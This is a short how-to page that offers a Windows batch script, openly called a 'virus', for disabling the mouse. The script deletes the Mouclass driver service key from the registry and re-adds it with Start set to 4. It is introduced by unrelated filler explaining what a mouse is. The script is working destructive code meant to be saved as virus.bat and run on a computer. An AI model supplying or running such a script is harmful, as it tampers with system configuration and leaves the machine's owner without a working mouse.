How to disable mouse 3 steps

With a computer, you use both a keyboard and a mouse to enter text and give commands to the computer. Though you may have used a keyboard of some type, a mouse may be new to you, and frankly, it takes a little getting used to.

In effect, when you move your mouse around on your desk (or in some models, roll a ball on top of the mouse), a corresponding mouse pointer moves around your computer screen. You control the actions of that pointer by using the right and left buttons on the mouse.

 1. Open Notepad and copy below codes 

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem --------------------------------- 

  2. Save this file as  virus.bat
  3. Done you just created your virus.
